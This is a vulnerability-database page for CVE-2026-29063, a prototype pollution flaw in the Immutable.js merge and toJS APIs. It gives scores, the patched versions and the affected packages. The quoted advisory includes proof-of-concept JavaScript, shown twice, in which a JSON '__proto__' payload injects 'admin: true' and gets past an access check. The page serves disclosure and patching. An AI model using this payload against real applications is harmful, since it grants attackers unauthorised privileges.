Every CVE Search/ Get API key

CVE-2026-29063

Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

8.7 HighFix available

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.99%Up 0.9 points since Mar 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Record
CVE-2026-29063
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321, CWE-915
Updated
2026-11-02
EUVDEUVD-2026-10057 8.7

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Record
EUVD-2026-10057
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-wf6x-7x77-mvgw 8.7

Immutable is vulnerable to Prototype Pollution

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no __proto__ guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |

Patches

Has the problem been patched? What versions should users upgrade to?

| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:",…
Record
GHSA-wf6x-7x77-mvgw
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321
Updated
2026-11-02
NVD 8.7

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Record
CVE-2026-29063
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321, CWE-915
Updated
2026-11-02
OSV 8.7

Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Record
CVE-2026-29063
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-1321
Updated
2026-11-02
OSVDEBIAN-CVE-2026-29063 9.8

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Record
DEBIAN-CVE-2026-29063
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 10 moreShow less
OSVGHSA-wf6x-7x77-mvgw 8.7

Immutable is vulnerable to Prototype Pollution

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no __proto__ guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |

Patches

Has the problem been patched? What versions should users upgrade to?

| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:",…
Record
GHSA-wf6x-7x77-mvgw
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-1321
Updated
2026-11-02
OSVUBUNTU-CVE-2026-29063 8.7

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

Record
UBUNTU-CVE-2026-29063
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1777509598 No score

TuxCare security update for immutable (1 CVE)

TuxCare rebuilt immutable to address 1 CVE. Fixed in 5.0.3-tuxcare.1.

Record
CLSA-2026-1777509598
Updated
2026-11-02
OSVCLSA-2026-1782954035 No score

TuxCare security update for immutable (1 CVE)

TuxCare rebuilt immutable to address 1 CVE. Fixed in 4.3.7-tuxcare.1.

Record
CLSA-2026-1782954035
Updated
2026-11-02
OSVCLSA-2026-1783040459 No score

TuxCare security update for immutable (1 CVE)

TuxCare rebuilt immutable to address 1 CVE. Fixed in 4.3.5-tuxcare.1.

Record
CLSA-2026-1783040459
Updated
2026-11-02
OSVCLSA-2026-1784769615 No score

TuxCare security update for immutable (2 CVEs)

TuxCare rebuilt immutable to address 2 CVEs. Fixed in 4.1.0-tuxcare.2.

Record
CLSA-2026-1784769615
Updated
2026-11-02
OSVCLSA-2026-1784943404 No score

TuxCare security update for immutable (2 CVEs)

TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.8.2-tuxcare.2.

Record
CLSA-2026-1784943404
Updated
2026-11-02
OSVCLSA-2026-1785117466 No score

TuxCare security update for immutable (2 CVEs)

TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.8.1-tuxcare.2.

Record
CLSA-2026-1785117466
Updated
2026-11-02
OSVCLSA-2026-1790808099 No score

TuxCare security update for immutable (2 CVEs)

TuxCare rebuilt immutable to address 2 CVEs. Fixed in 3.7.6-tuxcare.1.

Record
CLSA-2026-1790808099
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2026-29063 No score

CVE-2026-29063 in immutable - Patched by Root

Root has patched CVE-2026-29063 in the immutable package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2026-29063
Updated
2026-11-02

Affected products

Show 85 moreShow less

Affected packages

Affected packages
PackageAffectedFixed
immutable
npm
5.0.0 up to 5.1.5
5.1.5
immutable
npm
4.0.0-rc.1 up to 4.3.8
4.3.8
immutable
npm
before 3.8.3
3.8.3
immutable
TuxCare:npm
5.0.3-tuxcare.0 up to 5.0.3-tuxcare.1, plus listed versions
5.0.3
5.0.3-tuxcare.1
immutable
TuxCare:npm
4.3.7-tuxcare.0 up to 4.3.7-tuxcare.1, plus listed versions
4.3.7
4.3.7-tuxcare.1
immutable
TuxCare:npm
4.3.5-tuxcare.0 up to 4.3.5-tuxcare.1, plus listed versions
4.3.5
4.3.5-tuxcare.1
immutable
TuxCare:npm
From an advisory covering 2 CVEs
4.1.0-tuxcare.0 up to 4.1.0-tuxcare.2, plus listed versions
4.1.04.1.0-tuxcare.1
4.1.0-tuxcare.2
immutable
TuxCare:npm
From an advisory covering 2 CVEs
3.8.2-tuxcare.0 up to 3.8.2-tuxcare.2, plus listed versions
3.8.23.8.2-tuxcare.1
3.8.2-tuxcare.2
immutable
TuxCare:npm
From an advisory covering 2 CVEs
3.8.1-tuxcare.0 up to 3.8.1-tuxcare.2, plus listed versions
3.8.13.8.1-tuxcare.1
3.8.1-tuxcare.2
immutable
TuxCare:npm
From an advisory covering 2 CVEs
3.7.6-tuxcare.0 up to 3.7.6-tuxcare.1, plus listed versions
3.7.6
3.7.6-tuxcare.1
Show 10 moreShow less
Affected packages
PackageAffectedFixed
node-immutable
Debian:12
All versions, plus listed versions
4.1.0-34.3.4-14.3.8-14.3.8-24.3.9-15.1.9-1
None known
node-immutable
Debian:13
All versions, plus listed versions
4.3.4-14.3.8-14.3.8-24.3.9-15.1.9-1
None known
node-immutable
Debian:14
before 4.3.8-1, plus listed versions
4.3.4-1
4.3.8-1
immutable
Root:npm
before 5.1.4-aikido.2
5.1.4-aikido.25.1.1-aikido.23.7.6-aikido.24.3.7-aikido.24.3.7-aikido.35.1.1-aikido.35.1.1-aikido.45.1.1-aikido.53.7.6-aikido.34.3.7-aikido.45.0.3-aikido.24.0.0-aikido.14.0.0-aikido.24.3.6-aikido.14.0.0-rc.12-aikido.13.7.6-aikido.44.3.8-aikido.15.1.5-aikido.14.3.8-aikido.23.8.3-aikido.13.8.3-aikido.2
@rootio/immutable
Root:npm
before 5.1.4-root.io.1
5.1.4-root.io.13.7.6-root.io.14.3.7-root.io.15.1.1-root.io.15.1.4-root.io.25.1.1-root.io.23.7.6-root.io.24.3.7-root.io.24.3.7-root.io.35.1.1-root.io.35.1.1-root.io.45.1.1-root.io.53.7.6-root.io.34.3.7-root.io.45.0.3-root.io.24.0.0-root.io.14.0.0-root.io.24.3.6-root.io.14.0.0-rc.12-root.io.13.7.6-root.io.44.3.8-root.io.15.1.5-root.io.14.3.8-root.io.23.8.3-root.io.13.8.3-root.io.2
node-immutable
Ubuntu:20.04:LTS
All versions, plus listed versions
3.8.2+dfsg-3
None known
node-immutable
Ubuntu:22.04:LTS
All versions, plus listed versions
3.8.2+dfsg-34.0.0-14.0.0-2
None known
node-immutable
Ubuntu:24.04:LTS
All versions, plus listed versions
4.1.0-34.3.4-1
None known
node-immutable
Ubuntu:25.10
All versions, plus listed versions
4.3.4-1
None known
node-immutable
Ubuntu:26.04:LTS
All versions, plus listed versions
4.3.4-14.3.8-2
None known

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-29063 is a high vulnerability (CVSS 8.7) in Immutable-js Immutable, published March 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.99%, the 62nd percentile. Fixed in immutable 5.1.5.

References

Show 77 moreShow less
This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open